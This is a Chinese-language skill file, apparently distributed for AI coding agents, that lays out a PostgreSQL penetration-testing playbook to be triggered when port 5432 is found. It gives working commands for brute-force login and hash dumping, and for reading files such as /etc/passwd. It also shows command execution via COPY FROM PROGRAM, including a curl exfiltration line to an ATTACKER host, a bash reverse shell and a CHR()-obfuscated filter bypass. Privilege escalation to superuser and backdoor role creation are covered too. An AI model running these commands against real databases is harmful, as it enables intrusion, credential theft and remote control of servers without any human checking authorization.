skills/exploit/network-service/postgresql-pentesting/SKILL.md
PostgreSQL 数据库服务(5432 端口)渗透测试方法论。涵盖 PostgreSQL 服务发现、默认凭据测试、数据库枚举、文件读写(COPY/lo_import)、命令执行(RCE via UDF/扩展)、权限提升、已知漏洞利用。 当 Agent 扫描发现 5432 端口开放、需要测试 PostgreSQL 认证、通过数据库实现文件读写或命令执行时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity postgresql-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 5432/5433 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ 确定 PostgreSQL 版本
│ ├─ 判断运行环境 (本地 / AWS RDS / GCP Cloud SQL / Supabase)
│ └─ 识别监听地址与认证策略 (pg_hba.conf)
├─ Phase 2: 认证测试
│ ├─ 默认凭据 (postgres:postgres / postgres:空)
│ ├─ 空密码测试
│ ├─ 密码喷洒 / 暴力破解
│ └─ trust 认证利用 (本地 / peer)
├─ Phase 3: 数据库枚举
│ ├─ 用户与角色 (superuser / CREATEROLE / 特权组)
│ ├─ 数据库 / Schema / 表
│ ├─ 敏感数据 (pg_shadow / pg_authid)
│ └─ 已安装扩展与可用语言
├─ Phase 4: 文件读写
│ ├─ COPY FROM — 读取文件到表
│ ├─ pg_read_file / pg_read_binary_file — 直接读
│ ├─ COPY TO — 写文件
│ ├─ lo_import / lo_export — 大对象读写 (二进制安全)
│ └─ 覆盖 filenode — 修改表数据 (无 UPDATE 权限)
├─ Phase 5: 命令执行 (RCE)
│ ├─ COPY FROM PROGRAM — 直接命令执行
│ ├─ UDF / PL 语言 — plpython / plperl / plsh
│ ├─ 恶意扩展加载 (.so)
│ └─ 配置文件 RCE (ssl_passphrase_command / archive_command / preload_libraries)
├─ Phase 6: 权限提升
│ ├─ CREATEROLE -> 特权组 (pg_execute_server_program 等)
│ ├─ 本地 trust 认证 -> SUPERUSER
│ ├─ ALTER TABLE + 索引函数提权 (GCP)
│ ├─ SECURITY DEFINER 函数滥用
│ └─ 覆盖 pg_authid filenode -> SUPERUSER
└─ Phase 7: 已知漏洞与后渗透
├─ CVE-2019-9193 (COPY FROM PROGRAM, 官方声明为特性)
├─ Metasploit 模块
├─ pgAdmin 密码提取
└─ 日志与配置审计
# Nmap 服务版本探测
nmap -sV -sC -p 5432,5433 <IP>
# Metasploit 版本扫描
msf> use auxiliary/scanner/postgres/postgres_version
识别运行环境
├─ 发现 rdsadmin 数据库 -> AWS RDS 托管实例
├─ 发现 cloudsqladmin 用户 -> GCP Cloud SQL
├─ 发现 supabase_admin 用户 -> Supabase 托管
└─ 标准安装 -> 检查 pg_hba.conf / listen_addresses
-- 版本信息
SELECT version();
-- 当前用户与数据库
SELECT user, current_database();
-- 检查是否 superuser
SELECT current_setting('is_superuser');
-- 数据目录
SHOW data_directory;
# 查找配置文件
find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null
# 检查认证策略中的 trust/peer 规则
rg -n "^(host|local)|trust|peer|md5|scram|password" /etc/postgresql 2>/dev/null
# 检查 socket 和 .pgpass
ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null
关键判断:
trust 规则 -> 无密码认证,直接连接peer 规则 -> 切换到 postgres OS 用户后连接.pgpass 存在 -> 可能包含明文凭据# 本地连接
psql -U postgres
# 远程连接
psql -h <IP> -U <user> -d <database>
psql -h <IP> -p 5432 -U <user> -W <password> <database>
尝试连接 PostgreSQL
├─ 1) 默认凭据
│ ├─ postgres:postgres
│ ├─ postgres:(空)
│ └─ admin:admin
├─ 2) trust 认证 (本地)
│ ├─ sudo -u postgres psql
│ └─ psql -h 127.0.0.1 -U postgres
├─ 3) 密码喷洒
│ ├─ hydra -t 4 -l postgres -P wordlist.txt <IP> postgres
│ └─ msf> use auxiliary/scanner/postgres/postgres_login
├─ 4) dblink 本地认证绕过
│ └─ 通过 dblink 连接 127.0.0.1 利用 trust 规则
└─ 5) PL/pgSQL 密码爆破
└─ -> 读 references/postgresql-techniques.md #密码爆破
-- 检查 dblink 是否可用
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
-- 不存在则尝试创建
CREATE EXTENSION dblink;
-- 通过本地 trust 规则认证
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=postgres
password=anything
dbname=postgres',
'SELECT usename, passwd FROM pg_shadow')
RETURNS (usename TEXT, passwd TEXT);
-- 列出数据库
\list
SELECT datname FROM pg_database;
-- 切换数据库
\c <database>
-- 列出表
\d
SELECT schemaname, tablename, tableowner FROM pg_tables;
-- 列出 Schema
SELECT schema_name, schema_owner FROM information_schema.schemata;
\dn+
-- 用户与角色
\du+
SELECT usename, passwd FROM pg_shadow;
-- 详细角色信息 (含组成员关系)
SELECT
r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole,
r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof,
r.rolreplication
FROM pg_catalog.pg_roles r ORDER BY 1;
-- 表权限
SELECT grantee, table_schema, table_name, privilege_type
FROM information_schema.role_table_grants;
特权组检查
├─ pg_execute_server_program -> 可执行系统命令
├─ pg_read_server_files -> 可读任意文件
├─ pg_write_server_files -> 可写任意文件
└─ 成员关系确认: \du+ 或查询 pg_auth_members
-- 已安装扩展
SELECT * FROM pg_extension;
SHOW rds.extensions; -- AWS RDS
-- 可用语言 (PL/Python / PL/Perl 可用于 RCE)
SELECT lanname, lanacl FROM pg_language;
-- 可用函数
\df pg_catalog.*
SELECT * FROM pg_proc WHERE proname LIKE 'pg_read%';
文件读取路径
├─ superuser 或 pg_read_server_files 成员
│ ├─ COPY 读取
│ │ ├─ CREATE TABLE t(c text);
│ │ ├─ COPY t FROM '/etc/passwd';
│ │ └─ SELECT * FROM t;
│ ├─ pg_read_file()
│ │ └─ SELECT pg_read_file('/etc/passwd', 0, 1000000);
│ ├─ pg_read_binary_file()
│ │ └─ SELECT pg_read_binary_file('/etc/passwd');
│ └─ pg_ls_dir() — 列目录
│ └─ SELECT * FROM pg_ls_dir('/tmp');
├─ CREATEROLE 权限
│ ├─ GRANT pg_read_server_files TO <user>;
│ └─ 回到上方 superuser 路径
└─ lo_import() — 大对象导入
├─ SELECT lo_import('/etc/passwd', 13337);
└─ SELECT encode(lo_get(13337), 'escape');
注意: 使用 pg_read_file / pg_ls_dir 前需切换到 postgres 数据库 (\c postgres),否则可能报权限错误。
文件写入路径
├─ superuser 或 pg_write_server_files 成员
│ ├─ COPY TO — 文本写入
│ │ └─ COPY (SELECT convert_from(decode('<B64>','base64'),'utf-8')) TO '/path/file';
│ │ 注意: 不支持换行符,必须单行 base64; 不能写二进制
│ └─ lo_export() — 二进制安全写入
│ ├─ SELECT lo_from_bytea(13338, decode('<B64>','base64'));
│ └─ SELECT lo_export(13338, '/path/file');
├─ CREATEROLE 权限
│ ├─ GRANT pg_write_server_files TO <user>;
│ └─ 回到上方 superuser 路径
└─ 覆盖 filenode — 无 UPDATE 时修改表数据
└─ -> 读 references/postgresql-techniques.md #filenode覆盖
命令执行路径
├─ 方法 A: COPY FROM PROGRAM (PostgreSQL >= 9.3)
│ ├─ 需要: superuser 或 pg_execute_server_program 成员
│ ├─ 直接执行
│ │ ├─ CREATE TABLE cmd_exec(cmd_output text);
│ │ ├─ COPY cmd_exec FROM PROGRAM 'id';
│ │ └─ SELECT * FROM cmd_exec;
│ └─ 反弹 Shell
│ └─ COPY t FROM PROGRAM 'perl -MIO -e ''...reverse shell...''';
├─ 方法 B: PL 语言 (需要已安装)
│ ├─ PL/Python (plpython3u)
│ │ └─ CREATE FUNCTION cmd(c text) RETURNS text AS $$ import os; return os.popen(c).read() $$ LANGUAGE plpython3u;
│ ├─ PL/Perl (plperlu)
│ └─ PL/sh
│ └─ -> 读 references/postgresql-techniques.md #PL语言RCE
├─ 方法 C: 恶意扩展 (.so)
│ ├─ 编译恶意 .so (需匹配 PG 版本)
│ ├─ 通过 lo_export 上传到服务器
│ └─ CREATE EXTENSION 或 LOAD 加载
│ └─ -> 读 references/postgresql-techniques.md #恶意扩展
├─ 方法 D: 配置文件 RCE
│ ├─ ssl_passphrase_command -> 加密私钥 + pg_reload_conf()
│ ├─ archive_command -> WAL 触发命令执行
│ └─ session_preload_libraries -> 预加载恶意 .so
│ └─ -> 读 references/postgresql-techniques.md #配置文件RCE
└─ WAF 绕过: 使用 DO $$ + CHR() 构造 COPY PROGRAM
└─ DO $$ DECLARE cmd text; BEGIN cmd := CHR(67)||'OPY...'; EXECUTE cmd; END $$;
-- 基础命令执行
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
-- 数据外带
COPY (SELECT '') TO PROGRAM 'curl http://ATTACKER/?f=`ls -l|base64`';
-- Metasploit
msf> use multi/postgres/postgres_copy_from_program_cmd_exec
-- 使用 CHR() 避免 COPY 关键字被过滤
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/ATTACKER/443 0>&1"''';
EXECUTE cmd;
END $$;
权限提升路径
├─ 已有 CREATEROLE
│ ├─ GRANT pg_execute_server_program TO <user>; -> RCE
│ ├─ GRANT pg_read_server_files TO <user>; -> 文件读
│ ├─ GRANT pg_write_server_files TO <user>; -> 文件写
│ └─ ALTER USER <other> WITH PASSWORD 'new'; -> 修改他人密码
├─ 已有 RCE (pg_execute_server_program)
│ └─ 本地 trust 认证 -> 提升 SUPERUSER
│ └─ COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER <you> WITH SUPERUSER;"';
├─ 已有文件读写
│ ├─ 覆盖 pg_authid filenode -> 设置 rol* 标志位 = 1
│ │ ├─ 获取 data_directory
│ │ ├─ SELECT pg_relation_filepath('pg_authid');
│ │ ├─ lo_import / lo_export 下载并编辑 filenode
│ │ └─ -> 读 references/postgresql-techniques.md #filenode提权
│ └─ 覆盖 postgresql.conf -> 配置文件 RCE
├─ ALTER TABLE 提权 (GCP Cloud SQL)
│ ├─ 创建带恶意索引函数的表
│ ├─ ALTER TABLE owner TO cloudsqladmin
│ └─ ANALYZE 触发函数以 owner 权限执行
│ └─ -> 读 references/postgresql-techniques.md #ALTER_TABLE提权
├─ SECURITY DEFINER 函数滥用
│ ├─ 搜索存在 SQL 注入的 SECURITY DEFINER 函数
│ └─ 注入提权 SQL
└─ 事件触发器提权 (Supabase)
├─ 创建 ddl_command_start/end 事件触发器
├─ DROP/CREATE EXTENSION postgres_fdw 触发 superuser 窗口
└─ 触发器在 superuser 上下文中创建后门角色
└─ -> 读 references/postgresql-techniques.md #事件触发器提权
-- 授予特权组成员资格
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
-- 创建新角色并加入特权组
CREATE ROLE pwn LOGIN PASSWORD 'pwned123' IN GROUP pg_read_server_files;
-- 修改其他非 superuser 用户密码
ALTER USER target_user WITH PASSWORD 'new_password';
-- 前提: 拥有 COPY FROM PROGRAM 权限 + pg_hba.conf 中 local/127.0.0.1 为 trust
COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER attacker WITH SUPERUSER;"';
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_login
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
msf> use multi/postgres/postgres_copy_from_program_cmd_exec
-- 利用 dblink 错误信息判断端口状态
SELECT * FROM dblink_connect('host=TARGET port=PORT user=x password=x dbname=x connect_timeout=10');
-- Host is down: "No route to host"
-- Port closed: "Connection refused"
-- Port open: "server closed the connection unexpectedly" 或 "password authentication failed"
-- Port filtered: "Connection timed out"
# 读取 pgAdmin 数据库
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
# 密码可用 pgadmin4 crypto.py 中的 decrypt 函数解密
# 启用详细日志 (postgresql.conf)
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
# 日志路径: /var/lib/postgresql/<VERSION>/main/log/
| 配置 | 风险说明 |
|------|---------|
| local all all trust | 本地用户无密码访问所有数据库 |
| host all all 0.0.0.0/0 trust | 任意远程无密码访问 (严重) |
| host all all 127.0.0.1/32 trust | 本地回环无密码访问 |
| peer 映射 | OS 用户直接映射 DB 角色 |
| md5 / password | md5 可被中间人,password 明文传输 |
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能